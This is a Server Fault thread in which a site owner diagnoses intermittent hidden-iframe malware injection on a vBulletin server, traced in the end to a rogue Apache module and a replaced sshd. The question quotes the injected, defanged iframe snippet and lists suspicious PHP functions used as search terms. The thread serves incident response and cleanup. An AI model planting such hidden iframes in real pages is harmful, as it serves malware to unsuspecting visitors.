Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

EDIT : Further information / investigation information contained in the comments to this post

Apologies for the vague title - had trouble summarising this one.

I have recently discovered that one of my sites in serving out malware. As a result of this I have grepped through every file under httpdocs and looked for anything suspicious, i.e. calls out to shell_exec, eval, base64, passthru, includes, requires, cookie functions in PHP files. I have also gone through all JS files looking for suspicious methods, additionally as aspects of the site are built from a database I have searched that for anything suspicious (using phpmyadmin db search function to look for php shell etc and typical js malware commands)

All to no avail, I simply can't find where this is. As a result of that I have reuploaded all files for the software I am running and effectively reinstalled the site files. I have also had the software provided to go through and check, they have not been able to find anything either.

This leaves me with the conclusion that something at a higher level, i.e. Apache has been compromised. So the question is what should I check here?

I am running a dedicated server that only serves this site and only I have access to (he says) so I am able to run anything needed to help diagnose this

How does the Malware present itself?

Intermittently the following code is placed into my tags:

<style>
.iqb71l { position:absolute; left:-1958px; top:-1826px}
</style>
<div class="iqb71l"><iframe src="hXXp://1.1.1.1/f72387bd1dfab35f89f1899e1be07c08/q.php" width="198" height="501"></iframe></div> 

NOTE : In the code sample above I have changed 'http' to 'hXXp' and the IP address to '1.1.1.1'

However, the code is not always injected it seems to be added at random. Additionally when the code does appears the IP address, following guid and class name are typically different.

Also, none of the Malware scanners (i.e. Google webmaster tools etc etc etc) are picking this up. So I am guessing that this is more than just a basic injection, it is randomly choosing when to present itself, it is dynamically choosing an address to inject and it is seemingly invisible to malware scanner referrers.

Having spent a lot of time Google this I have not been able to find any similar instances, I have however found lots of references to webmasters asking about a myseterious q.php file that has appearred on their server.

share|improve this question
    
Did you check your database? –  Michael Hampton Mar 5 '13 at 17:09
    
Yes, I have used the phpmyadmin DB search function to look for anything that uses php shell commands and/or typical JS injection functions (i.e. createElement etc) –  MrEyes Mar 5 '13 at 17:20
    
Also, none of the Malware scanners (i.e. Google webmaster tools etc etc etc) are picking this up. YET! The key is it’s not picked up yet. Basically it seems like the infection is attempting to make your site a node in a larger bot-net. –  JakeGould Mar 5 '13 at 18:00
1  
@JakeGould - YET! - Indeed –  MrEyes Mar 5 '13 at 21:11
    
Some further information - according the Symantec the remote q.php is serving Trojan.Maljava via a Java exploit –  MrEyes Mar 5 '13 at 21:33
show 10 more comments

2 Answers

Identifying malware in PHP code is a nightmare. But I am going to pass along some basic tips I have gleaned from cleaning up more than a few of these nightmares successfully.

First, do you have a clean version of the site anywhere? Such as a staging version that sits right next to the production version you can compare to? If so, run rsync with CRC checking in dry-run mode like this:

rsync -rvnc --exclude '.svn' --exclude 'xml' --exclude 'temp' --exclude 'tmp' --exclude 'cache' /clean/version/of/site/ /infected/version/of/site/

Note that I added, a few --exclude parameters to exclude the checking of known temp & cache directories.

And if you do not have a clean copy of the site to compare to, just download a clean install version of the PHP software you are using to use that as a comparison base. So let’s say you have a WordPress site that is infected? Download the exact same version of WordPress & do the Rsync comparison as above.

Doing an Rsync CRC/Dry-Run comparison alone he helped me track down infections & clean them up right away. Basically, go through the list of files that Rsync believes are different or new one-by-one to see if they are infected. 9 times out of 10 you will find code injected at the end of files that—for lack of a better term—looks like garbage. That will be the infection.

But do not pat yourself on the back yet. Changes are there are other infections. In many cases at least 2 or 3 more. So manually go through every file that Rsync declares different until things are cleaned up entirely.

You didn't say what PHP code is the basis of your site, but I would also immediately advise updating your install to whatever the latest patched version of the software is. Chances are good you are not the first, and this is a known issue, so patching will plug up the holes the malware go through to begin with.

Oh, and regarding malware getting into your database, that might be an entry point but more often than not malware worms it's way into your site by gaining user access via the database & then writes malware to the PHP codebase on your filesystem.

share|improve this answer
    
The software in question is vBulletin and this include a handy feature, each releases comes with a MD5 hash of each file and a utility to check them - all files pass (yes I have redownloaded the MD5 hash list from vBulletin just incase the malware writer was smart enough to change it). As suggested I have updated to the latest versions of vBulletin and all the plugins I use. –  MrEyes Mar 5 '13 at 21:10
    
Okay, so if the MD5s checkout, my guess is that there is some rogue user & rogue post in the database itself. I have no direct experience with vBulletin, but if you could somehow filter through the DB data based on what date you think you were infected moving forward you can then check entries. Unfortunately, this is a painful & manual process even when it’s clear where the source is. Good luck! –  JakeGould Mar 5 '13 at 21:51
    
I have gone through the database but I am going to have to go through it again (all 5gb of it :() Users have reported seeing this issue on non content pages as well as forum threads/posts so it is something system wide –  MrEyes Mar 5 '13 at 23:46
    
Hmmm… Here is another idea: Do you have any ad network or similar includes on your page that would be pulling in content from somewhere else & place on your page? This might be a case where an ad agent has had a banner hacked & is delivering malware via that vector. –  JakeGould Mar 5 '13 at 23:49
    
I do have adsense on the site, however I would expect Google to be a little more savvy than me on this kind of thing. Additionally some users do not get banners and these have reported getting alerts –  MrEyes Mar 6 '13 at 0:52
add comment
up vote 0 down vote accepted

Answering my own question here (which by no means devalues the answer from JakeGould)

I have finally found the cause of this, rather than a writeup it is all neatly summarised on this page:

http://blog.sucuri.net/2013/01/server-side-iframe-injections-via-apache-modules-and-sshd-backdoor.html

Using the guidance on that page (and the linked articles) I looked at loaded Apache modules and found mod_view_proxy.so which is not a known Apache Module. This was being loaded into Apache via a LoadModule directive in /etc/httpd/conf.d/perl.conf. All files had been touched so the datetime stamp on them do not look suspicious. As blog entry mentions the SSHD had also been replaced with a different version.

As to how it got compromised, not entirely sure - the assumption is that it was caused by running and older version of vBulletin and/or one of its plugins (which is entirely my fault).

Also I need to give these guys their dues:

http://sucuri.net/

As you can see from this thread I had exhausted all ideas I had and also my technical ability, so as a last resort I went to Sucuri with everything I knew and had done. Yes, its a paid service but they found the issue, resolved it - their service was fantastic. They were genuinely interested in helping me navigate through this issue, a level service we don't often see these days. I have nothing but praise for them and would not hesitate to recommend them to anybody in my position.

share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.